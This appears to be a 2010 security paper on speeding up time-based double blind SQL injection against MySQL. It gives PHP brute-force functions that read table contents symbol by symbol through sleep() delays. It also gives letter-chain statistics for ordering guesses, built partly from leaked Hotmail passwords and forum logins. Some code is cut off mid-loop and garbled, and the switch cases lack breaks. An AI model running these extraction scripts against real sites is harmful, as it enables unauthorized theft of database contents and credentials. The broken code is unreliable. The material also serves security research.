# Title: Technique of quick exploitation of 2blind SQL Injection # Date: May 4th, 2010 # Author: Dmitry Evteev (Positive Technologies), Vladimir (D0znp) Voronzov (ONSec) # Contacts: http://devteev.blogspot.com/ (Russian); http://oxod.ru/ (Russian) In this paper, the quickest technique of double Blind SQL Injection exploitation are collected. ---=[ 0x01 ] Intro SQL Injection vulnerabilities are often detected by analyzing error messages received from the database, but sometimes we cannot exploit the discovered vulnerability using classic methods (e.g., union). Until recently, we had to use boring slow techniques of symbol exhaustion in such cases. But is there any need to apply an ineffective approach, while we have the DBMS error message?! It can be adapted for line-by-line reading of data from a database or a file system, and this technique will be as easy as the classic SQL Injection exploitation. It is foolish not to take advantage of such opportunity. To see the value of further materials, let us delve deeply into the terminology for a while. According to the exploitation technique, SQL Injection vulnerabilities can be divided into three groups: 1. Classical SQL Injection; 2. Blind SQL Injection; 2.1 Error-based blind SQL Injection; 2.2 Classical blind SQL Injection; 3. Double Blind SQL Injection (2Blind SQL Injection). In the first place, classical exploitation of SQL Injection vulnerabilities provides an opportunity to merge two SQL queries for the purpose of obtaining additional data from a certain table. If it is possible to conduct a classical SQL Injection attack, then it becomes much easier to get useful information from the database management system (DBMS). Attack conduction using classic technique of SQL Injection exploitation involves application of the "union" operator or separation of SQL queries (semicolon, ";"). However, sometimes, it is impossible to exploit an SQL Injection vulnerability using this technique. In such cases, a blind method of vulnerability exploitation is applied. A blind SQL Injection vulnerability appears in the following cases: - an attacker is not able to control data showed to user as a result of vulnerable SQL request; - injection gets into two different SELECT queries that in turn implement selection from tables with different numbers of columns; - filtering of query concatenation is used (e.g. WAF). Capabilities of Blind SQL Injection are comparable with those of classical SQL Injection technique. Just like the classical technique of exploitation, blind SQL Injection exploitation allows one to write and read files and get data from tables, only the entries are read symbol-by-symbol. Classical blind exploitation is based on analysis of true/false logical expression. If the expression is true, then the web application will return a certain content, and if it is false, the application will return another content. If we consider the difference of outputs for true and false statements in the query, we will be able to conduct symbol-by-symbol search for data in a table or a file. In some cases, Blind SQL Injection methods are also need in situations when an application returns an DBMS error message. Error-Based Blind SQL Injection is the quickest technique of SQL Injection exploitation. The essence of this method is that various DBMSs can place some valuable information (e.g. the database version) into the error messages in case of receiving illegal SQL expression. This technique can be used if any error of SQL expression processing occurred in the DBMS is returned back by the vulnerable application. Sometimes not only all error messages are excluded from the page returned by the web application, but the vulnerable query itself and request results do not influence the returned page. For example, query used for some event logging or internal optimization. These SQL Injection vulnerabilities are separated into independent subtype - Double Blind SQL Injection. Exploitation of Double Blind SQL Injection vulnerabilities uses only time delays under SQL query processing; i.e., if an SQL query is executed immediately, it is false, but if it is executed with an N-second delay, then it is true. The described technique provides for symbol-by-symbol data reading only. ---=[ 0x02 ] Double Blind SQL Injection in MySQL Exploitation of this group of SQL Injections is based on analysis of time delays from the moment of sending a query to the web application till the moment of receiving the answer from it. In classical approach, the function benchmark() is applied. However, the function sleep() represents a better and more secure alternative, because it doesn’t use processor resources of server as the function benchmark() does. Here is an example of a simple implementation of symbol-by-symbol search based on analysis of time delays. function brute($column,$table,$lim) { $ret_str = ""; $b_str = "1234567890_abcdefghijklmnopqrstuvwxyz"; $b_arr = str_split($b_str); for ($i=1;$i<100;$i++) { print "[+] Brute $i symbol...\n"; for ($j=0;$j" and "<", which is not always possible, because these symbols are often converted into HTML equivalents. Then, we still have a question – how can we find a "favorable" order of symbols being considered? Classical works in frequency analysis of Latin letters, which can be found in the Internet, suggest us a sequence starting with "e, t, a, o, n, i, s, h, r, d, l, u, c" (http://en.wikipedia.org/wiki/Frequency_analysis). If the letters are sorted according to this order, the number of requests sent to the web application will already decrease. However, we will go further. ---=[ 0x03 ] Not all letters are equally useful Everything discussed above is correct, but we didn’t take into account one interesting fact: at every iteration step, we know the value of the previous symbol. This information is quite valuable and it is foolish not to use it. To conduct further statistical investigations, a library of 5575 books written in English by various authors in different genres and of different sizes was downloaded (http://www.gutenberg.org/files/). The total data capacity is 2.15 GB, 1 761 822 605 Latin letters, or 379 009 003 English words. It was interesting to receive statistic information for the first letters of words. When appropriate statistic data was gathered, we obtained results that differ from the classical frequency analysis results. That the most popular letter to start English words with is "t"; this is the first letter for about 15% of words. First of all, it is because of abundance of article "the" in English texts. The next popular letter is "a", which holds the third place in the classical frequency model; nevertheless, the situation is still almost the same. It is much more interesting that letter "e", which is the most popular letter among all Latin letters in English, holds only the 16th place as the first letter of words. Thus, it is reasonable not to place this letter in the beginning of the array when searching, for example, for the first letter of a username. A contrary example is letter "w", which holds the 5th place among first letters of words, but is only 16th among all letters in words. Well, now when it became clearer with the first letter, let’s go further. ---=[ 0x04 ] Letter chains Considering the language phonetics and syllables, we collected statistic data on two-letter combinations. This means that the probability with which one letter follows another one can be estimated. It’s as if letters clung to each other, this is why this technique can be called "letter chains". Such letter chains were collected from the whole library. Partial data is represented below. The value in the second column shows the number of two-letter combinations where the letter was following the given one. In the first column, the letter itself is given. statistic of qX doubles: a 862 c 11 b 34 e 134 d 10 g 2 f 18 i 186 h 30 k 1 j 3 m 22 l 29 o 235 n 34 q 384 p 13 s 174 r 163 u 1946692 t 61 w 60 v 166 y 56 x 25 z 12 statistic of wX doubles: a 7786947 c 7341 b 24494 e 5872056 d 87405 g 3101 f 43828 i 6637324 h 7132332 k 28453 j 53 m 10103 l 230650 o 3988540 n 1486013 q 24 p 7517 s 482819 r 466381 u 27051 t 27903 w 82956 v 155 y 50550 x 8 z 348 Does it seem to be too tedious and not very useful? To understand how useful it is in fact, it is necessary to test the letter chains technique by experience. Two databases available from the Internet served as testing sets: the database of passwords of Hotmail users (about 10000 records) and the database of user logins from forum.searchengines.ru (about 70000 records). For each database, analogous letter chains were generated and the results were compared with those for the book library; the statistic data coincided in dynamics. There is no sense in representing all 26 diagrams here, so let us confine ourselves to giving two of them – for letters "a" and "s", which are in the top five of the most popular first letters of logins, passwords, and book words. Similarity of statistic data for passwords, logins, and book words is obvious. It can be also seen that logins are statistically more similar to book words than passwords are. Considering everything that was proposed and tested above, we can obtain a new statistically valid function to exploit Double blind SQL Injection: function brute($column,$table,$lim) { $ret_str = ""; $b_str = "tashwiobmcfdplnergyuvkjqzx_1234567890"; $b_arr = str_split($b_str); for ($i=1;$i<100;$i++) { if($last_ltr){ switch ($last_ltr){ case "q": { $b_arr = str_split("uaqoisvretwybnhlxmfpzcdjgk_1234567890");} case "w": { $b_arr = str_split("ahieonsrldwyfktubmpcgzvjqx_1234567890");} case "e": { $b_arr = str_split("rndsaletcmvyipfxwgoubqhkzj_1234567890");} case "r": { $b_arr = str_split("eoiastydnmrugkclvpfbhwqzjx_1234567890");} case "t": { $b_arr = str_split("hoeiartsuylwmcnfpzbgdjkxvq_1234567890");} case "y": { $b_arr = str_split("oesitamrlnpbwdchfgukzvxjyq_1234567890");} case "u": { $b_arr = str_split("trsnlgpceimadbfoxkvyzwhjuq_1234567890");} case "i": { $b_arr = str_split("ntscolmedrgvfabpkzxuijqhwy_1234567890");} case "o": { $b_arr = str_split("nurfmtwolspvdkcibaeygjhxzq_1234567890");} case "p": { $b_arr = str_split("eroaliputhsygmwbfdknczjvqx_1234567890");} case "l": { $b_arr = str_split("eliayodusftkvmpwrcbgnhzqxj_1234567890");} case "k": { $b_arr = str_split("einslayowfumrhtkbgdcvpjzqx_1234567890");} case "j": { $b_arr = str_split("euoainkdlfsvztgprhycmjxwbq_1234567890");} case "h": { $b_arr = str_split("eaioturysnmlbfwdchkvqpgzjx_1234567890");} case "g": { $b_arr = str_split("ehroaiulsngtymdwbfpzkxcvjq_1234567890");} case "f": { $b_arr = str_split("oeriafutlysdngmwcphjkbzvqx_1234567890");} case "d": { $b_arr = str_split("eioasruydlgnvmwfhjtcbkpqzx_1234567890");} case "s": { $b_arr = str_split("tehiosaupclmkwynfbqdgrvjzx_1234567890");} case "a": { $b_arr = str_split("ntrsldicymvgbpkuwfehzaxjoq_1234567890");} case "z": { $b_arr = str_split("eiaozulywhmtvbrsgkcnpdjfqx_1234567890");} case "x": { $b_arr = str_split("ptcieaxhvouqlyfwbmsdgnzrkj_1234567890");} case "c": { $b_arr = str_split("oheatikrlucysqdfnzpmgxbwvj_1234567890");} case "v": { $b_arr = str_split("eiaoyrunlsvdptjgkhcmbfwzxq_1234567890");} case "b": { $b_arr = str_split("euloyaristbjmdvnhwckgpfzxq_1234567890");} } } print "[+] Brute $i symbol...\n"; for ($j=0;$j